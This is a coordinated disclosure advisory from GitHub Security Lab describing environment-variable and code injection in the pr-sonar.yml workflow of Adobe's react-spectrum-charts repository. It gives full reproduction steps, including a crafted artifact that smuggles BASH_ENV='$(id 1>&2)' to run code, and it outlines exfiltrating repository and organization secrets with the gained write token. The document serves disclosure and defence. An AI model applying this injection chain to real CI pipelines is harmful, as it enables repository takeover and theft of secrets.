Coordinated Disclosure Timeline

Summary

Adobe’s react-spectrum-charts GitHub repository is vulnerable to Poisoned Pipeline Execution via Environment Variable Injection in its pr-sonar.yml workflow. A malicious actor could gain full-write permissions to the repository and access to the https://github/adobe organization secrets.

Project

Adobe React Spectrum Charts

Tested Version

Latest commit at the time of reporting.

Details

Issue 1: Environment Variable Injection in pr-sonar.yml (GHSL-2024-266)

The pr-sonar.yml workflow gets triggered when a workflow called PR Build completes.

on:
    workflow_run:
        workflows: [PR Build]
        types: [completed]

When that happens, it checks out the code from the PR and downloads the artifacts from the triggering workflow:

            # Checkout the code from the PR
            - name: Checkout PR code
              uses: actions/checkout@v3
              with:
                  repository: ${{ github.event.workflow_run.head_repository.full_name }}
                  ref: ${{ github.event.workflow_run.head_branch }}
                  fetch-depth: 0

            # Download the artifacts from the PR build
            - name: Download artifacts 📥
              uses: actions/github-script@v6
              with:
                  script: |
                      let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({
                         owner: context.repo.owner,
                         repo: context.repo.repo,
                         run_id: context.payload.workflow_run.id,
                      });
                      let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => {
                        return artifact.name == "rsc-pr-build-artifacts"
                      })[0];
                      let download = await github.rest.actions.downloadArtifact({
                         owner: context.repo.owner,
                         repo: context.repo.repo,
                         artifact_id: matchArtifact.id,
                         archive_format: 'zip',
                      });
                      let fs = require('fs');
                      fs.writeFileSync(`${process.env.GITHUB_WORKSPACE}/rsc-pr-build-artifacts.zip`, Buffer.from(download.data));

            - name: Unzip artifacts 📁
              run: unzip rsc-pr-build-artifacts.zip

It will then read the artifacts, which content may be controlled by a malicious actor, into Environment variables:

            # Save the PR number, branch, and base branch to the environment
            - name: Setup workflow variables 📝
              run: |
                  # Load the PR number from the file
                  pr_number="$(<pr/pr_number)"
                  echo "PR_NUMBER: ${pr_number}"
                  pr_branch="$(<pr/pr_branch)"
                  echo "PR_BRANCH: ${pr_branch}"
                  pr_base="$(<pr/pr_base)"
                  echo "PR_BASE: ${pr_base}"

                  echo "PR_NUMBER=${pr_number}" >> $GITHUB_ENV
                  echo "PR_BRANCH=${pr_branch}" >> $GITHUB_ENV
                  echo "PR_BASE=${pr_base}" >> $GITHUB_ENV

A malicious actor may modify the triggering workflow and make it upload malicious artifacts and trigger the execution of the vulnerable workflow. Since the contents of the malicious artifacts are not verified, they may contain new line characters which will allow the attacker to inject arbitrary environment variables into the runner environment. By injecting a BASH_ENV variable, the attacker will gain arbitrary code execution the next time that bash gets executed which will happen in the Checkout base branch 🌳 step:

            - name: Checkout base branch 🌳
              run: |
                  git remote add upstream ${{ github.event.repository.clone_url }}
                  git fetch upstream
                  git checkout -B ${{ env.PR_BASE }} upstream/${{ env.PR_BASE }}
                  git checkout ${{ github.event.workflow_run.head_branch }}
                  git clean -ffdx && git reset --hard HEAD

Steps to reproduce

  1. Fork the adobe/react-spectrum-charts repository.
  2. Create a new branch
  3. Modify the .github/workflows/pr-build.yml file so it looks like:
    name: PR Build
    on:
     pull_request:
    jobs:
     build:
         runs-on: ubuntu-latest
         steps:
             - name: Save PR number
               env:
                   PR_NUMBER: ${{ github.event.number }}
                   PR_BRANCH: ${{ github.event.pull_request.head.ref }}
                   PR_BASE: ${{ github.event.pull_request.base.ref }}
               run: |
                   mkdir -p ./pr
                   mkdir -p ./coverage
                   mkdir -p ./dist-storybook
                   echo "foo" > test-report.xml
                   echo "foo" > coverage/lcov.info
                   echo "foo" > dist-storybook/foo
                   cat << 'EOF' > ./pr/pr_number
                   111
                   BASH_ENV='$(id 1>&2)'
                   EOF
                   echo $PR_BRANCH > ./pr/pr_branch
                   echo $PR_BASE > ./pr/pr_base
             - name: Upload code coverage and storybook
               uses: actions/upload-artifact@v4
               with:
                   name: rsc-pr-build-artifacts
                   path: |
                       coverage/lcov.info
                       test-report.xml
                       dist-storybook/*
                       pr/
    
  4. Create and submit a Pull Request from your fork
  5. The modified workflow will get triggered and will upload a malicious artifact. After completion, it will trigger the execution of the vulnerable workflow. Watch its execution and check the output of the Checkout base branch 🌳 step. It should contain the following line proving arbitrary code execution.
    Run git remote add upstream https://github.com/pwntests/react-spectrum-charts.git
    uid=1001(runner) gid=127(docker) groups=127(docker),4(adm),101(systemd-journal)
    From https://github.com/pwntests/react-spectrum-charts
    

Impact

The repository has write-all default permissions and therefore an attacker will be able to get full write token for the repository as we can see in the runs of this workflow:

GITHUB_TOKEN Permissions
  Actions: write
  Attestations: write
  Checks: write
  Contents: write
  Deployments: write
  Discussions: write
  Issues: write
  Metadata: read
  Packages: write
  Pages: write
  PullRequests: write
  RepositoryProjects: write
  SecurityEvents: write
  Statuses: write

In addition, the attacker will be able to use the write permission to push a malicious new workflow that exfiltrates `${{ toJson(secrets) }} which will exfiltrate, not just the Repo-level secrets, but also any Organization-level defined secrets.

Issue 2: Code Injection in pr-sonar.yml (GHSL-2024-267)

Similarly, the same workflow is vulnerable to Code Injection since the contents of the artifact are later interpolated into a Bash script:

              run: |
                  git remote add upstream ${{ github.event.repository.clone_url }}
                  git fetch upstream
                  git checkout -B ${{ env.PR_BASE }} upstream/${{ env.PR_BASE }}
                  git checkout ${{ github.event.workflow_run.head_branch }}
                  git clean -ffdx && git reset --hard HEAD

Note that the contents of the ${{ env.PR_BASE }} are controlled by the attacker. Therefore, removing new lines from the artifacts is not sufficient.

Also, the attacker-controlled PR branch name (github.event.workflow_run.head_branch) gets interpolated into the script.

Impact

Same impact as in GHSL-2024-266.

Credit

These issues were discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2024-266 or GHSL-2024-267 in any communication regarding these issues.